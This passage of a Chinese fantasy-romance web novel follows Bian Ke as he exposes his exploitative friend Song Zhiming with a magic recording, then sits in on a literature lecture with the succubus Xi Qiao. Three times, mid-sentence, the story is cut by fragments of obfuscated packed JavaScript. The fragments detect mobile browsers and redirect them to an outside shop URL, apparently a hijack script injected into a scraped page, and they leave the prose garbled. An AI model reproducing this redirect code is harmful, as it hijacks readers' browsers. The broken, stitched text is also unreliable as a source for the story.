边恪有些泄气,继续往商圈里面走,被眼前打开的玻璃门吓一跳,抬眼便看到了“乐水”二字的招牌。 奚乔说得没错,这家店开门了。 他莫名其妙地欣喜了一下,抬脚拐入了店门。 不点单,就单纯进来看看。 店铺里面呈U字型,桌子向两侧做弧状延伸,远远的靠里侧的卡座已经坐着一对男女,女生面朝边恪这边,愉快地跟她的同伴说笑,而男生背对着,没怎么说话,只能依稀看见侧身的轮廓。 有一点眼熟啊,那个男生。 边恪没能细看,因为前台离门很近,他没走两步就和前台的女店主撞上了视线。 这下不点单好像也说不过去。 边恪硬着头皮上前翻看菜单,发现糖水的价格不算贵,他就点了碗奚乔推荐的红豆沙。 与此同时,闲聊的那对男女中,女生的声音停了下来,男生的声音徐徐响起:“好啦好啦,你也不要笑张老师了,他做这些也都是为你好。” 这个声音,就算是他化成灰边恪也能听出来。 是宋致溟。 女生还说了些什么,边恪没有听清,女店主在他耳边催促他:“同学,找个位置先坐下啊。” 店里空位置很多,边恪把手机揣回兜里,径自走向宋致溟和那个女生旁边的小圆桌。 再从口袋抽.出手,掌心却忽然多了一片粉粉的羽毛。 嗯? 女生这会儿变了脸色,冲宋致溟抱怨说:“你总是说我爸的好话,他那小老头给你什么好处啦?” “大小姐,我尊师重道还不行吗?”宋致溟没觉察到来人,双手合十冲女生讨饶。 边恪攥紧粉色羽毛,猛地拉开了椅子,“哗啦”一声刺耳的噪音,惊得卡座上的两人看了过来。 特别是宋致溟,原本只恼怒地蹙着眉,在看清边恪的脸时,眼睛都快瞪了出来。 “早啊,致溟哥。”边恪微微露出点儿笑,“昨天这个时候,你不是在忙实验吗?今天不用忙了?” 宋致溟没接话,倒是那女生讲义气,回怼边恪说:“同学,公共场所不要制造噪音,就算你认识致溟,也不能不讲礼貌。” “对不起。”边恪老实地颔首道歉,眼睛却盯着宋致溟不放,“我好些年没见致溟哥了,心情有点激动。” “你怎么还追到这儿来了?”宋致溟开口就是质问。 边恪心颤了一下,面色平静地落座:“我找你追债,见不到人,当然只能来你的学校。” “追什么债?师兄,你欠债了?”女生也跟着追问道。 “师妹,你别听他胡说。”宋致溟赶紧向女生解释,“他是我一发小,没考上大学,平时在厂里赚点工资都打游戏花了,还经常找我借钱,我没借给他,他就这么跟别人造谣我。” “我造谣你?”边恪被气笑了,心颤得发疼,“昨天你还找我要一万五,今天就忘记了?” 宋致溟却愈发不慌张,甚至冲女生摆摆手:“我念在我们是发小,不想跟你多计较,但你也不能无凭无据造谣。” “对啊,你该拿证据出来,不然你就是污蔑人。”女生也帮腔说道。 证据,他哪里保存了证据?今天见到宋致溟都是个意外。 边恪下意识松了松攥紧羽毛的手,一道宋致溟赔笑的声音凭空响起: “你知道的,我那导师事儿太多,今天又找我要实验器材的钱。” 宋致溟顿时面色发白,那女生也不禁皱起了眉。 紧接着响起边恪略微颤抖的声音:“你要多少?” 边恪反应过来,这是昨天的电话录音! 昨天的“宋致溟”口齿清晰地说:“一万五。” “你从哪儿伪造的录音?”宋致溟腾地一下站起来,伸手去抢边恪手里的羽毛,“把录音笔给我!” 边恪将手背到身后,掌心却忽然一空,羽毛消失了。 女生拽住了宋致溟胳膊:“你先说清楚,我爸什么时候让你买过实验器材?” “一万五这点儿小钱,够买什么器材?” “师妹,他污蔑我的,你看他连录音笔都不敢拿出来!”宋致溟立马软下神色,好声好气地向女生解释。 边恪还将手背在身后:“我把录音笔给你,你扔掉不认账怎么办?” 女生也甩下一句狠话:“我亲耳听到那就是你的声音,你要么给我一个解释,要么就从实验室里滚蛋。” 随即把宋致溟的手甩开,气冲冲地夺门而出。 宋致溟也只来得及瞪边恪一眼,便匆匆追赶女生的背影:“师妹,你等等我!我可以解释清楚!” 边恪目送二人的背影消失在门外的小广场,才垂眸看了看攥着羽毛的手心。 手心空空如也,没有一点羽毛的痕迹。 他其实还没来得及打算跟宋致溟算账,一心想着找到工作再说,今天来到Z大,来到这家糖水铺,也是因为奚乔……奚乔,羽毛,是奚乔故意的。 边恪就说,以魅魔那聪明劲儿,都能考上Z大了,怎么会犯今早这种低级错误。 “诶,小同学,你旁边的两个同学怎么走了?”女店主端来红豆沙,疑惑地问,“我们后厨刚打包好他们要的八份糖水,他们钱都还没给呢!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552290|204351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “怎么点这么多?”边恪习惯性伸出双手接过碗。 “他们一个实验室要喝的,平常那男生都给钱。”女店主叹了口气,“可能今天忘了,待会儿会回来拿吧。” 听起来宋致溟闲钱挺多,不过以今天这情况,可能不会回来结账了。 边恪不好跟店主明说,只道他也要一份红豆沙打包,当场扫码付钱。 打包的那份红豆沙自然是给奚乔,哪怕他尝不出味道,吃个意思也好。 被宋致溟闹着一通,边恪也没心思看其他店铺的招工广告,他看着和奚乔的对话框,用一根手指敲敲打打,最后想到奚乔还在上课,只好又把编辑好的话语删除掉。 还是当面问奚乔好了。 边恪想知道奚乔为什么要帮他,明明奚乔已经为他做得足够多了。 另外,这家糖水铺的红豆沙果然好好喝啊。 * 边恪在糖水铺里坐到十点钟,店里来往的学生多了起来,他也拎着打包好的红豆沙,随学生们往教学区走。 无所事事地走在学校宽敞的林荫路,边恪终于有闲心好好观察一下这群高学历的同龄人,他以前上中专,“护送”宋致溟去本地的重点高中上学,会有意无意地观察同行的高中生。 他不会相面的技术,但总觉得那些高中生以及现在的大学生,眉眼间都有股淡淡的书卷气,一看就和他这种笨人不一样。 边恪放慢了脚步,任由赶着去上课的学生们越过他,眯着眼追着看林荫道上闪烁的光斑,不赶去上课的学生比他还悠闲,往前走两步,又因为说笑停一停。 他们聊天内容里好多外国名字,边恪一个都没听懂,听起来很厉害的样子。 老先生用戒尺敲过边恪脑袋,说他但凡开点儿窍,读书和宋致溟一样厉害,长大后能少辛苦许多。 边恪不开窍,所以长大后辛苦也没什么好抱怨的。 他走到那绿瓦红墙的教学楼下,为不挡人家的通道,没有进门,只在楼下的树荫里等着,这回他才给奚乔发了消息:「我到教学楼下了。」 来往的人群忽然传出一阵惊呼:“我去,UFO!” 边恪看了过去,大家驻足在教学楼下,仰头看着空中闪过一道流星般的白光。 他被白光晃得眯起眼睛,隐约在那团强光里,看到一柄飞剑追赶着一只银白色的鹰隼。 飞剑之上甚至还能看出一个苍劲的人类轮廓。 他这是又遇上什么非人奇迹了? “嘿,看什么呢?”一团靓丽的粉毛跳进边恪视野。 边恪随即便撞上了一个宽阔的肩膀,一抬眼,魅魔正笑眼弯弯地看着自己。 “天上好像有人在追老鹰。”边恪愣愣地抬手,想指一指天空,结果举起来的是给奚乔打包的红豆沙。 “哇,你给我买了一份糖水啊~”奚乔一惊一乍道,“阿鲟,你真好~” “嗯,就顺带手的事……你没看天上吗,有人在追老鹰。”边恪语无伦次地把糖水塞进奚乔的手里,想问奚乔的话也被抛在了脑后。 奚乔闻言,也抬头看了看:“没有哇,天上连片云都看不见。” “人家已经飞走了。”边恪叹息,驻足在楼下的人们也三三两两地散开了。 “不管那些。”奚乔亲亲热热地把边恪肩膀一揽,“下堂课在大阶梯教室上,那位老师允许非本专业学生蹭课,你跟我一起去听课呗~” 8. 第 8 章 上课?他一个毕业好几年的中专生上什么课? 许是太阳烈了起来,水蜜桃的香味太浓了些,边恪被奚乔拉进阶梯大教室时,眼前还有些眩晕。 “这节课上什么啊?”边恪恍恍惚惚地坐下,发现奚乔领着他坐到了课室的最中间,前后都是桌子、两侧都是椅子,他想跑出去也为时已晚。 “我最爱的古代文学史。”奚乔脸上挂着笑,说话却像是从牙缝里挤出来的不情不愿,“现在已经上到魏晋时期了,曹丕你知道不?” 边恪摇头,他离开校园太久,现在大脑光滑得像一颗水煮蛋。 “他是曹操的二儿子。”奚乔解释说。 边恪点点头:“我知道曹操,他是唱白脸的。” 奚乔放弃了进一步解释,快速地回答了边恪的问题:“总之这堂课应该要讲到曹丕了,如果进度再快一点,会讲到他弟弟曹植。” 边恪一个姓曹的都不认识,只一昧地点头:“那需要我做笔记吗?但我没带纸笔。” 听课记笔记,是一个学习的好习惯。 “你想记就在我书上记。”奚乔不动声色地从空桌肚里摸出一本棕红色的教材,递到边恪手边,“只是帮我注意一下,教授点到我名字,就把我叫起来。” “你要在课堂上睡觉?”边恪惊讶地挑眉。 后排姗姗落座的同学没忍住笑出声,接茬说:“乔乔在谢老师的课上必睡,从上学期睡到这学期,他要不睡觉,估计谢老师都不适应了。” 奚乔看清楚后排的人,立马双手合十讨饶:“好班长,求求你别在我朋友面前揭我短,下课请你喝奶茶。” “你手边不有碗糖水吗?怎么不请我喝这个?”班长也随之打趣道。 边恪心里一咯噔,原本还挂着尬笑的脸也立马收敛。 奚乔却大大方方地说:“这是我朋友专门给我买的,不外送。” 班长这才注意到边恪这个人,但他没直接问边恪,只是看着奚乔笑:“你这位朋友是别的专业的吧,我都没见过。” “今早他送我来上学,你应该见过了。”奚乔笑笑,转眼伸手将边恪一揽,对边恪软声说,“阿鲟,帮我打打掩护嘛。” 边恪点点头,没再多说,用余光打量后排的班长,这是个斯文白净的青年,带无框的眼镜,不笑的时候有些严肃,对上边恪的视线后甚至还白了他一眼。 嗯?这人怎么回事? 奚乔没注意到这样的小细节,他只顾着贴近边恪耳朵,跟边恪碎碎吐槽教授上课跟念经似的,稍不留神就被催眠了,上课睡觉的不止他一个,但教授却偏偏不抓别人,每次就抓他。 “你也不看看我们专业这几个班,男生女生都没染成你这么个显眼的发型,谢老师不抓你抓谁?”班长又嘻笑着插话。 边恪忍不住了:“同学,奚乔在跟我说话。” “对啊,班长,我都已经答应请你喝奶茶了,你怎么还揪着我不放?”奚乔也附和地板起脸说。 班长讪讪地笑,没来得及说什么,一个女孩便被她朋友推搡着向前,站到了奚乔和边恪这一排桌子前。 女孩涨红了脸,背课文似的憋出一句话:“奚乔同学,我是三班的郝丽佳,我可以给你我的联系方式,所以你给我你的联系方式吗?” 她身后的朋友捂着脸,缓缓滑坐到就近的座位上,班长的讪笑变为了嘲笑:“同学,哪有你这种抢劫式要人联系方式的?” 女生本来涨红的脸变得更红,她朋友也从椅子上起身凑过来。 “你什么意思?”朋友质问班长。 奚乔直接越过要回话的班长,把手机递出去:“你扫我二维码吧,郝同学,不过我不怎么上线,平时班级群的消息都不看,所以可能没办法及时回复你。” 而后又转脸对班长说:“你越界了,班长,我可以请你喝奶茶,但并不代表我们是多好的关系。” “请奶茶也只是为了让你少说两句。”边恪嘀咕着附和。 “好,好。”班长举双手投降,往后靠向椅背,“奶茶不用请了,我不说话,你们聊。” 另一边郝同学扫码成功,朋友也换上了舒心的笑容,赞叹说:“不愧是奚乔啊。” 看着奚乔和善的笑容,边恪这才后知后觉,奚乔在学校很受欢迎。 如果奚乔放开了找,应该有不少人会争着和他共度fa情期吧。 奚乔不知道边恪心里这些弯弯绕绕,把边恪的胳膊扒拉上桌,而后伴随着悦耳的上课铃声,枕着胳膊就闭上了眼。 不是,老师还没来……边恪抬眼看向讲台,灰白头发的老教授正在放他的保温杯。 老师来了,奚乔真会卡点。 教授捏了根粉笔在手,环顾了一圈教室,“上一堂课讲到哪儿了?”教授慢吞吞地发问,紧接着加快语速,“奚乔,你来回答一下。” 边恪尽职地抽回了自己的胳膊,奚乔立马弹跳起身:“讲到曹丕的《典论?论文》,您让我们课后用他文中的理论评析曹植的诗文。” 听起来好厉害的样子。 教授点点头:“坐吧,等我讲到曹植,你就用曹丕的理论评析一遍他的《洛神赋》。” 奚乔颓然落座,边恪以为他为回答问题会好好听讲,结果教授转头去写板书,此魅魔就又把边恪的胳膊扒拉过去,倒头闭上了眼。 如果边恪是老师,边恪也要点他发言,这是什么上课态度啊! 就算是学渣如边恪,上文化课也是努力干瞪眼,哪怕走神也不睡觉,哪怕乱记笔记也不睡觉,从小到大所有的老师对他的印象都是智商不高但品行端正。 所以在这个陌生的课堂上,边恪也打算像往常一样“认真”听课,他甚至单手打开了教材,拿出奚乔夹在教材里的圆珠笔转了转。 教授写好了板书,转过身来,慢条斯理地说:“今天我们先从这句‘盖文章经国之大业,不朽之盛事’开始讲起……” 等等,教授在说什么?好像是黑板上的那句板书。 为什么会越来越困,越来越……“咚”地一声闷响,边恪和奚乔头碰头地挨在一起,昏睡了过去。 他在工厂上完夜班都没这么困,教授真有本事,两三句话就做到了。 “奚乔……” 隐隐约约,边恪听见了奚乔的名字,他几乎本能地往奚乔那边怼一怼胳膊肘。 “呼啦”,有谁站了起来,奚乔如播报新闻般字正腔圆地说:“虽然曹丕评价建安七子有政治方面的倾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552291|204351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向,但我还是认为他更多的是构建了自己对于当时文学的一套审美范式……” 边恪迷迷瞪瞪睁开眼,正好看见有只手不尴不尬地从后排伸出来,他胡乱打了回去,才完全撑坐起来。 一回眼,班长捂着发红的手背,似笑非笑地瞪着他。 边恪不以为意,试图仔细聆听奚乔的回答,除了曹丕这个人名有点耳熟,其他的谁谁和谁谁谁都没听过,这里头“建安”这个人出现的频率也太高了吧。 不过教授对奚乔的发言很满意,时不时赞许地点点头,待到奚乔侃侃说完,宽容地放他落座。 这就是不用听课也能学好的大学霸吗? 边恪不禁又对奚乔生出一丝崇拜,但紧接着教授又说:“奚乔旁边穿蓝衣服的同学,你对曹丕评价建安七子的内容有什么看法啊?” 蓝衣服,今早边恪正好换了身蓝衣服……他老实地站了起来,奚乔在旁边嘀咕什么他也没听清。 “我没什么看法,老师,”边恪诚恳地回答,“我只知道曹丕是曹操的二儿子,对建安这个人不是很熟。” 课堂上响起一阵哄笑。 教授也笑了:“那就坐下吧,好好听课,别跟奚乔学上课睡觉的毛病。” “谢谢老师。”边恪冲老师鞠了一躬,乖乖坐下。 奚乔悄悄勾住了他的手,面色有些歉疚,“对不起呀,阿鲟。”奚乔用口型小小声说。 嗯?他不是应该和大家一起笑吗?这样在课堂上出丑的事情边恪已经习惯了,特别以前初中和宋致溟一个班,宋致溟笑得最夸张。 有几回下课后,宋致溟还跑过来跟边恪说,因为他们是发小,他笑边恪才这么没有顾忌。 但奚乔的表情很认真,仿佛真做了什么错事似的。 怕干扰老师上课,边恪只是冲奚乔摇了摇头,意思是没关系。 好在没一会儿,下课铃声响了,大家得到课间十五分钟的休息时间。 奚乔贴过来,巴巴地摇着边恪的手说:“对不起,阿鲟,我只是想让你多陪陪我,没想到你不适应课堂的节奏。” “乔乔,你朋友怕不是我们学校的吧。”班长又冷不丁冒出来,“能考上我们学校,语文再差能差到哪儿去,怎么连曹丕是谁都不知道?” “那不好意思,我真就是来蹭课的。”边恪越过奚乔回答,“奚乔说老师人好,欢迎不是本专业的人听课,我就跟过来了。如果打扰到你们上课,我立马就走。” 前排有同学转过身,打岔说:“没没没,没打扰,同学,你继续听,下堂课别睡觉就行。” “这是我的问题,我带头睡觉,把阿鲟带坏了。”奚乔冲前后排都拱一拱手,附和着说,“我也保证下堂课不睡觉。” “谢老师,奚乔说他下堂课不打瞌睡。”前排同学远远地冲教授喊。 教授正捧着保温杯,笑吟吟地看着课堂来来去去的学生,一听这话,笑得眉眼都舒展开了:“好,那是大好事一件。” “啧。”班长又白了边恪一眼。 这下边恪和奚乔都看了个正着。 “同学,我又惹到你了?”边恪直截了当地问。 “班长,你是不是在针对我朋友?”奚乔更加直截了当。 9. 第 9 章 “怎么会呢,乔乔,我就是说话冲了些,不是针对谁。”班长连忙解释说,但仍然只对奚乔说话。 边恪理解,毕竟自己对于人家来说只是个陌生人,人家没必要对陌生人讲礼貌。 “那是我误会了,不好意思。”边恪客气地说。 奚乔则说:“班长,你不用一直对我说话,有时候我也不是很想跟你聊天。” 所以这下干脆就把天聊死了。 原来奚乔也不是一直会好脾气地打圆场,但边恪很受用,他意识到奚乔这是在给他出头。 “下堂课你看我打瞌睡就掐我一下。”边恪往奚乔身上贴贴,没再看班长是什么反应,“掐我胳膊就行,如果我不醒就使劲掐。” “但我也会打瞌睡。”奚乔耷拉了嘴角,“教授的催眠功力实在太强。” “那我们互相掐吧,没办法。”边恪叹气,“如果有风油精就好了,滴进眼睛里绝对不会犯困。” “风油精……这是什么新时代酷刑?”魅魔震惊。 上课铃响了,教授慢吞吞地念起开场白:“好了,同学们,集中一下精神,我们这堂课抓紧些,提前五分钟放你们下课。” 眼看奚乔又要一头栽到课桌上,边恪赶紧攥住了他的手,下了巧劲儿去捏他手指。 奚乔倒吸一口冷气,用口型说:“我去!” 但边恪也没坚持太久,在教授念着“草木摇落露为霜”的时候,脑袋缓缓地低了下去。 奚乔如法炮制地反攥紧边恪的手,边恪似乎能听见骨节嘎巴响的声音,再困也被疼得绷紧了一根弦。 俩人就暗暗较劲似的十指相扣,硬生生扛着教授慢吞吞的催眠攻击,边恪还好些,至少手边有纸笔,听不懂教授在说什么,但可以抄写教授的板书。 什么“建安风骨”啊,什么“志深而笔长,梗概而多气”啊,什么“对人生短暂世事无常的个体思考”啊,边恪听得迷迷糊糊、写得连滚带爬,慢慢地竟然也从这些文绉绉的知识点里捋出来一条细线,但他又说不太明白,他只是搞清楚了建安是一个时代。 奚乔打了个哈欠,偷偷跟他咬耳朵说:“在曹丕那个时期,人类的寿命太短暂,不是遇上天灾就是遇上战乱,活到三十岁都算老人了。哪怕曹丕比当时普通人过得好很多,后边还当上了皇帝,但他年轻时也因为人生短暂世事无常而惶恐过,同时期其他文人也是这样,想抓紧时间做出一番事业,但留给他们的时间并不多,所以这段时期的文学比早些时期多了些对自身在天地间的价值思考。” 那条细线骤然绷紧,边恪听明白了,原来那么多年前伟大的人物们也会为人生感到难过。 奚乔紧接着又说:“我有个亲戚给曹丕当过信鸽,建安那段时间,曹丕隔三差五给他朋友们写信,害得我那亲戚满城飞来飞去,还差点被抓去做成烤乳鸽。后来我亲戚不干了,就离开了那座叫邺城的城池,结果一出城又被随军的道士捉了,要把他炼成丹药。” “老师说,建安时期距今一千多年……”边恪小声嘀咕,下意识瞥了瞥前后排的同学,大家都在记笔记或者划拉手机,没有注意到奚乔说了什么骇人听闻的事。 “嗯,我亲戚也就两千来岁啦。”奚乔不以为意,“在我们家族算是壮年。” “那你不会也……两千多岁吧?”边恪攥着奚乔的手都松了松。 “我没那么老,今年也就两百岁。”奚乔骄傲地抬抬下巴,“我才刚刚成年嘛。” 边恪放下了心,虽然他也不知道自己放下了什么心,或许两百这个数比两千好听点儿? 教授又开始点人回答问题了,俩人乖乖地闭了嘴:上课说小话也是不对的。 不过这回教授没直接点奚乔的名,捧着点名册子点了一大圈,最后才没看册子,点了奚乔旁边的边恪。 “我看小同学你记了大半堂课的笔记,有什么特别的感悟啊?”教授笑呵呵地问边恪,但没问太专业的问题。 让边恪跟其他同学一样赏析诗文,边恪也做不到啦。 “我其实也没怎么听明白,勉强知道建安是一个时代,建安七子是七个写文章很好的人。”边恪低头看着自己的鬼画符说,他看到“风骨”二字,想到了奚乔的话,慢慢地抬起头迎上教授期待的目光,“那个时代的人和我们现在一样,也会对自己的人生感到迷茫,他们写文章抒发这样的情感,我们看文章理解这样的情感,好像没有隔阂似的。” 教授笑道:“好,同学,说一下你的名字,我给你加学分。” “老师,我不是……”边恪连忙解释。 “我总得知道你名字,下堂课才好叫你起来回答问题。”教授已经翻开了点名册子。 还有下堂课吗? 边恪正要拒绝,奚乔捏了捏他的手指,他便鬼使神差地回答:“我叫边恪,恪是竖心旁一个各。” “那边是那个边?”教授的目光还在册子上挪移,似乎在寻找这个名字。 边恪闭了闭眼:“边关的边。” “边恪,记下了。”结果教授什么都没说,只是动笔写了写。 教授放下了册子,看一看表:“十一点五十五分,好,下课。各位离开的时候小声一些,不要打扰其他教室上课的同学。” 教室里配合地小小欢呼一声,身后有声音在喊“乔乔”,奚乔充耳不闻,把课本和笔随意卷入怀中,一手拎着红豆沙,一手拉着还在发懵的边恪绕过课桌,径直往讲台走去。 “谢老师,您给边恪加了多少分呀?”奚乔笑嘻嘻地问老教授。 边恪一见老师,整个人清醒过来,忙对老师解释道:“老师,我不是您班上的学生,我就不是这学校的学生,您不用给我加什么分。” 教授只是淡定地把点名册子递过来:“我知道,所以我没有问你的学号。” 边恪便看见那册子表格之外的空白处,用飘逸的行楷写着“边恪”二字,名字之后又一个小小的“+1”。 “我每周一的上午和周四的下午,给奚乔他们几个班上古代文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552292|204351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学史,你可以跟奚乔过来旁听,反正教室宽敞坐得下。”教授说。 边恪一时不知怎么回答,奚乔便插科打诨说:“老师,你给边恪加的分太少了。” “分数要一次一次地挣,哪能一口吃成个胖子?”教授不紧不慢地回怼,“你也别操心人家,再这么吊儿郎当下去,你的平时分仍然只有个及格。” “那就希望我们学识渊博的谢教授给我期末考满分。”奚乔耍了个滑头,不经意地把边恪往教授跟前带了带。 边恪得了空隙,鼓起勇气说:“谢谢老师。” 怕不够真诚,还朝教授鞠了一躬。 结果他一鞠躬,奚乔也跟着鞠躬,直接把教授给架住了。 教授赶忙叫停:“行了行了,你们赶紧去吃饭吧,晚了又要排队。” * “教授真是个好老师。”边恪跟奚乔感慨说,“哪怕我回答得不好、也没认真听课,他还继续鼓励我。” 和村里给他取名的那老先生很像,说边恪脑子笨自己先叹气再叹气,然后捡起书来继续教边恪认字,赶上学校的进度。 “因为他是个好老师,我才敢带你来他的课堂。”奚乔牵着边恪的手,拐到了无人的楼道角落。 眼前粉紫光芒闪烁,边恪隐约听见奚乔说:“你年纪不大,本来就该多读些书才好。” 边恪恍惚了一下,再定神,发现他俩回到了奚乔家的客厅。 “我已经二十三岁了,年底满二十四,在厂里都有不少小孩喊我哥,怎么会年纪不大?”边恪轻声反驳说,但他想到奚乔两百来岁,顿时又闭了嘴。 能活那么大岁数,魅魔应该是妖精的一种。 奚乔冲他眨眨眼,瞳孔瞬间换成粉水晶的颜色:“两百岁还是比二十岁大吧~” “是,真论岁数我得叫你祖宗。”边恪不服气地嘀咕了句。 结果奚乔却忽然松开了他的手。 边恪心一空,随即便看见奚乔斯哈斯哈地甩手,把抱着的教材、拎着的红豆沙都甩到了茶几上。 他也这才发觉刚刚和奚乔交握的手又麻又痛。 俩人一块斯哈斯哈地甩手。 奚乔哼哼唧唧:“你劲儿是真大啊,小祖宗。” 边恪嘀嘀咕咕:“你劲儿也不小,老祖宗。” “你今天是不是故意让我去糖水铺的?”边恪想了起来,“我在那儿碰到了宋致溟和他实验室的师妹。” “算是吧。”奚乔狠狠甩手两下,同时把犄角和尾巴甩了出来,“我有一个针对他的完美报复计划,你要听吗?” “要!”边恪边甩手边凑近,果断地回答。 奚乔再次把他揽入怀中,用尾巴缠住他的腰,低头贴住了他额头。 好像……到魅魔的饭点了。 这次边恪眼睛一眨不眨地看向那双粉水晶,下意识双手揪住了奚乔的衣领。 魅魔莞尔一笑:“那就先让我亲个嘴。” 边恪听话,乖巧又主动地迎了上去。 10. 第 10 章 “我们一定要保持这个姿势说话吗?” “啾……我吃饱了嘛,起不来~” 边恪又被魅魔按坐在沙发上,左手握着微微发烫的犄角,右手捏着带绒毛的桃心尾巴尖,魅魔本魔就跟只成精八爪鱼似的压在他身上,眯着眼舒服地发出“啾啾啾”的声音。 “说正事呢,你有什么计划?”边恪轻轻挠了两下魅魔的尾巴尖。 奚乔不禁颤抖了两下,把尾巴在边恪腕上缠了又缠。 “本来呢,我是想自己收拾宋致溟的,让他知道放我鸽子的严重性。”奚乔从边恪肩膀偏过脸,露出一只眼睛看他,“不过嘛,我今早忽然就改变了主意,主要宋致溟没给我造成太大的损失,但他实打实拿了你不少钱,把你拉入计划里,我才感觉舒坦。” 好吧,听起来也不像是为了他才去报复宋致溟,边恪稍稍松了口气。 谁让宋致溟是和奚乔共度fa情期的第一人选,奚乔多多少少对宋致溟还是有些喜欢的吧……边恪莫名有些不爽,但他很快打住了,奚乔怎么说都帮了他大忙,他怎么能对奚乔不爽? “今天让你和宋致溟的师妹碰面,就是给人家心里埋下一颗怀疑的种子。”奚乔说到这儿,语气略略上扬,“据我临时得到的可靠情报来看,宋致溟为了巴结他的导师,时刻注意跟导师的女儿、也就是他那师妹打好关系,这下师妹怀疑他,多少要跟他导师说坏话了,在我还没拿到最重要的情报前,让他先自顾不暇一阵子吧。” “更重要的是,阿鲟,你今天做的很好啊。” 奚乔潇洒地抬手,在边恪脑袋上揉了又揉,试图将他搓扁揉圆。 像是对待小屁孩,不过边恪并不讨厌这样。 “多亏了你的羽毛录音。”边恪红着脸说,“不然我一条证据也没有,很可能被他反过来泼脏水。” 差一点就被泼脏水成功了。 “因为你太信任他了吧,他让给钱就给,宁愿委屈自己也不短他的生活费。”奚乔收敛起面上的慵懒,正色说道,“你们人类经常做类似的傻事,我亲戚告诉我,这是因为‘爱’,但你又说你不喜欢宋致溟,我就彻底想不通了。” 好吧,边恪跟奚乔撒了谎,他不知道自己为什么要撒这个谎,但他也不愿意去澄清。 仿佛不承认他喜欢宋致溟,他的过去尚有从不堪中回旋的余地。 边恪自嘲地苦笑:“因为我不太聪明,前途一眼望到头,想认个聪明人当大哥,在大哥发迹前接济他,以后等自己干不动了,也能有个靠山。” 奚乔不说话了,只静静地看着他,意思是“现在靠山没有了”。 边恪只好硬着头皮继续说:“经过这两天的事我也明白,靠山山倒、靠人人跑,之后我就好好攒钱,努力养活自己,我下午就继续找工作。” “咱们就不能歇一阵再找工作吗?钱不够你可以找我拿……”奚乔挑眉,忽然意识到什么改口道,“靠我没关系啊,我不是山也不是人,我就是一只可靠的魅魔!” “你不光可以靠我,你甚至还能操……” 边恪反应过来时,他已经紧紧捂住了魅魔叭叭乱嚷的嘴。 “我下午去找工作,争取在这周末前找到。”边恪一字一顿地说,“我待会儿给你写个欠条,等我工作稳定下来,把这两天你给我的所有花费还清。” 他又环顾了一圈客厅,补充说:“包括房租。” * 奚莺莺这个大骗子,说人类有两大共性,即好色和贪财,如果一个人类没有被魅魔的美貌打动,那他就一定会为魅魔的财富折腰。 但为什么他向阿鲟轮番展示了他的美貌和财富,这个呆呆的人类竟然一心只想着还他的钱!他们都已经是嘴对嘴的关系了,又摸犄角又摸尾巴的,下一步不是该扒裤子这样那样吗?怎么能捂住他的嘴说出那么冷冰冰的话! 奚乔把遮脸的墨镜拉下来一点,透过对面理发店的玻璃门,看见边恪和一戴蓝牙耳机的黄毛说着什么,没说两句呢,黄毛就开始抬手指指点点,边恪闭了嘴,只点头听着,而后冲人鞠了一躬,神情低落地走出门。 这是边恪下午面试的第四家理发店,好像依旧没有得到太好的消息。 商场里就这几家理发店啊! 边恪拐到了商场扶梯的位置,他要下楼了,奚乔赶紧起身跟上去,手机闹钟响了,提醒他下午的课程还有五分钟开始。 可恶,不能跟踪了! 奚乔站在扶梯旁边,目送边恪完全下了楼,才拐去少人的角落瞬移到学校。 为什么那些理发店不要边恪当员工? 虽然奚乔不知道边恪的理发技术,但看边恪对待接吻这件小事都那么认真,他一定什么工作都能胜任。 宋致溟时不时还给奚乔发来“骚扰”消息,奚乔不想搭理这人,但为了报复计划,只得继续给这人抛点儿饵料,敷衍地表示你最近手头紧我无所谓啊,也不是很想要那块表,只是路过看到顺便提一嘴。 「乔乔,还是你好。」 呵呵。 奚乔想发个竖中指的小鸟表情过去,想了想,还是只发了一个「微笑」的默认表情。 如果在昨天,特别是答应跟宋致溟约会的昨天上午,奚乔其实还蛮喜欢宋致溟这种人类。 他和宋致溟只认识了一周左右的时间,宋致溟单是看到他这张脸就同意和他进一步交往,他都还没来得及拿出金钱诱惑,宋致溟便主动地请他吃饭、给他送小礼物,还直接邀请他去宿舍。 多么省心的一个准“恋爱”对象啊。 但是短短的一天后,奚乔怎么看宋致溟怎么烦,又不能拉黑这人,只好给他打了个新备注:“垃圾待销毁”。 翻到边恪的账号,边恪用的是系统默认的风景图片,蓝蓝的天、白白的云和青青的草原,网名也是用的自己的大名。 奚乔给他的备注是“阿鲟”,迟疑了一下,改成了“犟种小祖宗”。 傍晚回巢穴亲嘴,边恪没有提一句找工作的情况,还是奚乔故意问,他才淡淡地摇头说理发店开的工资太低,他明天打算去餐饮店转转。 奚乔上完晚课回巢穴 